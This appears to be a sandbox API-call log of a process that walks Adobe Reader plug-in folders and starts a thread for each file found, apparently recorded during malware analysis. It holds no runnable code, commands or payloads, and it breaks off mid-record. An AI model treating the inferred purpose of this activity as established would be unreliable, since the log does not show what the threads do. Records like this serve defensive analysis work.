[0051.819] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69263, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.api", cAlternateFileName="")) returned 1 [0051.820] wcscmp (_String1="PDDom.api", _String2=".") returned 1 [0051.820] wcscmp (_String1="PDDom.api", _String2="..") returned 1 [0051.820] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x418310 [0051.820] wcscpy (in: _Dest=0x418310, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.820] wcscat (in: _Dest=0x418310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.820] wcscat (in: _Dest=0x418310, _Source="PDDom.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api" [0051.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf1c [0051.821] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73f263, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0051.821] wcscmp (_String1="PPKLite.api", _String2=".") returned 1 [0051.821] wcscmp (_String1="PPKLite.api", _String2="..") returned 1 [0051.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cc0a0 [0051.821] wcscpy (in: _Dest=0x97cc0a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.821] wcscat (in: _Dest=0x97cc0a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.821] wcscat (in: _Dest=0x97cc0a0, _Source="PPKLite.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" [0051.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc0a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf20 [0051.823] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b663, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1 [0051.823] wcscmp (_String1="ReadOutLoud.api", _String2=".") returned 1 [0051.823] wcscmp (_String1="ReadOutLoud.api", _String2="..") returned 1 [0051.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x4ee838 [0051.823] wcscpy (in: _Dest=0x4ee838, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.823] wcscat (in: _Dest=0x4ee838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.823] wcscat (in: _Dest=0x4ee838, _Source="ReadOutLoud.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" [0051.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24 [0051.824] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x54e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.api", cAlternateFileName="")) returned 1 [0051.824] wcscmp (_String1="reflow.api", _String2=".") returned 1 [0051.824] wcscmp (_String1="reflow.api", _String2="..") returned 1 [0051.824] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x4183a0 [0051.824] wcscpy (in: _Dest=0x4183a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.824] wcscat (in: _Dest=0x4183a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.824] wcscat (in: _Dest=0x4183a0, _Source="reflow.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api" [0051.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4183a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0051.826] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63263, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1 [0051.826] wcscmp (_String1="SaveAsRTF.api", _String2=".") returned 1 [0051.826] wcscmp (_String1="SaveAsRTF.api", _String2="..") returned 1 [0051.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc138 [0051.826] wcscpy (in: _Dest=0x97cc138, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.826] wcscat (in: _Dest=0x97cc138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.826] wcscat (in: _Dest=0x97cc138, _Source="SaveAsRTF.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api" [0051.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf2c [0051.827] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.api", cAlternateFileName="")) returned 1 [0051.827] wcscmp (_String1="Search.api", _String2=".") returned 1 [0051.827] wcscmp (_String1="Search.api", _String2="..") returned 1 [0051.827] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x418430 [0051.827] wcscpy (in: _Dest=0x418430, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.827] wcscat (in: _Dest=0x418430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.827] wcscat (in: _Dest=0x418430, _Source="Search.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api" [0051.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30 [0051.829] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.api", cAlternateFileName="")) returned 1 [0051.829] wcscmp (_String1="SendMail.api", _String2=".") returned 1 [0051.829] wcscmp (_String1="SendMail.api", _String2="..") returned 1 [0051.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cc1d0 [0051.829] wcscpy (in: _Dest=0x97cc1d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.829] wcscat (in: _Dest=0x97cc1d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.829] wcscat (in: _Dest=0x97cc1d0, _Source="SendMail.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" [0051.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34 [0051.830] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.api", cAlternateFileName="")) returned 1 [0051.830] wcscmp (_String1="Spelling.api", _String2=".") returned 1 [0051.830] wcscmp (_String1="Spelling.api", _String2="..") returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cc268 [0051.830] wcscpy (in: _Dest=0x97cc268, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.830] wcscat (in: _Dest=0x97cc268, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.830] wcscat (in: _Dest=0x97cc268, _Source="Spelling.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Spelling.api" [0051.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf38 [0051.831] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.api", cAlternateFileName="")) returned 1 [0051.831] wcscmp (_String1="Updater.api", _String2=".") returned 1 [0051.831] wcscmp (_String1="Updater.api", _String2="..") returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cc300 [0051.831] wcscpy (in: _Dest=0x97cc300, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.831] wcscat (in: _Dest=0x97cc300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.832] wcscat (in: _Dest=0x97cc300, _Source="Updater.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" [0051.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c [0051.833] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 1 [0051.833] wcscmp (_String1="weblink.api", _String2=".") returned 1 [0051.833] wcscmp (_String1="weblink.api", _String2="..") returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cc398 [0051.833] wcscpy (in: _Dest=0x97cc398, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.833] wcscat (in: _Dest=0x97cc398, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.833] wcscat (in: _Dest=0x97cc398, _Source="weblink.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api" [0051.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf40 [0052.025] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 0 [0055.504] FindClose (in: hFindFile=0x440420 | out: hFindFile=0x440420) returned 1 [0055.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b74c0) returned 1 [0055.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f0b8) returned 1 [0055.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400698) returned 1 Thread: id = 578 os_tid = 0xffc [0049.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447cb0 [0049.887] wcscpy (in: _Dest=0x447cb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0049.887] wcscat (in: _Dest=0x447cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0049.887] wcscat (in: _Dest=0x447cb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*" [0049.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b7728 [0049.887] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a328 [0060.786] wcscmp (_String1=".", _String2=".") returned 0 [0060.786] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.786] wcscmp (_String1="..", _String2=".") returned 1 [0060.786] wcscmp (_String1="..", _String2="..") returned 0 [0060.786] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0060.786] wcscmp (_String1="2d.x3d", _String2=".") returned 1 [0060.786] wcscmp (_String1="2d.x3d", _String2="..") returned 1 [0060.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417980 [0060.786] wcscpy (in: _Dest=0x417980, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0060.786] wcscat (in: _Dest=0x417980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0060.786] wcscat (in: _Dest=0x417980, _Source="2d.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" [0065.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1480 [0065.379] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0065.379] wcscmp (_String1="3difr.x3d", _String2=".") returned 1 [0065.379] wcscmp (_String1="3difr.x3d", _String2="..") returned 1 [0065.379] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x438488 [0065.379] wcscpy (in: _Dest=0x438488, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0065.379] wcscat (in: _Dest=0x438488, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0065.379] wcscat (in: _Dest=0x438488, _Source="3difr.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" [0065.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1484 [0065.380] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX8.x3d", cAlternateFileName="")) returned 1 [0065.380] wcscmp (_String1="drvDX8.x3d", _String2=".") returned 1 [0065.380] wcscmp (_String1="drvDX8.x3d", _String2="..") returned 1 [0065.380] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4383f0 [0065.380] wcscpy (in: _Dest=0x4383f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0065.380] wcscat (in: _Dest=0x4383f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0065.380] wcscat (in: _Dest=0x4383f0, _Source="drvDX8.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" [0065.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4383f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1488 [0065.381] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc6f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", 